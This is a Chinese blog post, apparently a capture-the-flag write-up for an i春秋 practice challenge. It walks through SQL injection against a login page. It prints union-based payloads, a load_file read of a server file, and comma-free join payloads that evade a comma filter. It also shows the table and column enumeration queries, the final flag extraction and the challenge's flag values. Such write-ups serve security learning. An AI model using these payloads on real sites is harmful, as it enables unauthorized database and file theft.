当前位置: 首页 > article >正文

i春秋-SQLi(无逗号sql注入,-- -注释)

练习平台地址

竞赛中心

题目描述

后台有获取flag的线索应该是让我们检查源码找到后台

 题目内容

空白一片

F12检查源码

发现login.php 

访问login.php?id=1

F12没有提示尝试sql注入

常规sql注入

//联合注入得到表格列数

1' order by 3 #

1' union select 1,2,3 #(看哪个存在sql注入)

//查看当前权限
user() 

//如果有root权限和绝对路径,可以使用load_file函数访问系统文件,将内容以字符串形式返回
1'/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

//拿数据库名
database()

//拿表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="xxx"#

//找表的字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="xxx"#

//找数据
1' union select 1,group_concat(data),3,4 from "xxx";#  

参考WP

i春秋-后台有获取flag的线索-flag{6deb7ea8-4a31-4f48-ac7e-4d864c466a0a}_flag{c04165a53bec1848bfac2dfda3e667bb}-CSDN博客

发现是后台对逗号以后的输入做了截断处理

相关知识:无逗号注入语句

普通sql语句

union select group_concat(table_name) from information_schema.tables where table_schema=database(),user()


无逗号注入语句

union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select user())b)

解题

真正的注入页面是l0gin.php

order by 3时返回异常,表有两列

?id=1' order by 3-- -

 查看哪里有回显点

-1' union select * from (select 1) a join (select 2) b-- -

爆表

这里也可以先查询数据库名字,有时候这里database()无法执行成功

?id=-1' union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema = database()) b-- -

爆字段名

?id=-1' union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name = 'users') b-- -

发现flag,构造payload查询

-1' union select * from (select 1) a join (select group_concat(flag_9c861b688330) from users) b-- -

 flag 

flag{555913f1-3553-4fcf-a51b-5f6f1c5ccb13}

注意事项

1.注释的类型,#,--+,-- -,--  

2.注意判断后台过滤字符并构建payload


http://www.kler.cn/a/396294.html

相关文章:

  • MongoDB分布式集群搭建----副本集----PSS/PSA
  • 初识Linux · 共享内存
  • 【代码大模型】Is Your Code Generated by ChatGPT Really Correct?论文阅读
  • ETH挖矿显卡超频信息汇总
  • ElasticSearch-全文检索(一)基本介绍
  • Go开发指南- Goroutine
  • Android Binder通信02 - 驱动分析 - 架构介绍
  • Python读写Excel的全面教程
  • Rust 入门指南(零):安装及 Cargo 管理器
  • 用EXCEL一列数据拼接SQL的where条件in语句
  • wordpress下载站主题推荐riproV5 wordpress日主题
  • python makedirs() 详解
  • 动态规划-背包问题——[模版]完全背包问题
  • NotePad++中安装XML Tools插件
  • 接上篇-使用 element-plus 优化UI界面
  • WukongCRM:github高分开源项目,基于微服务架构 +vue ElementUI的前后端分离CRM系统
  • Linux基本指令(中)(2)
  • 数据结构 ——— 层序遍历链式二叉树
  • 01 P2367 语文成绩
  • spring boot 配置文件
  • vue3: toRef, reactive, toRefs, toRaw
  • 推荐一款高效的网站数据抓取工具:SysNucleus WebHarvy
  • Unity类银河战士恶魔城学习总结(P127 Stat ToolTip属性提示)
  • 企业BI工具如何选择?主流5款BI工具多维对比
  • Opengl光照测试
  • Vue和Vue-Element-Admin(十三):基于vue2比较学习vue3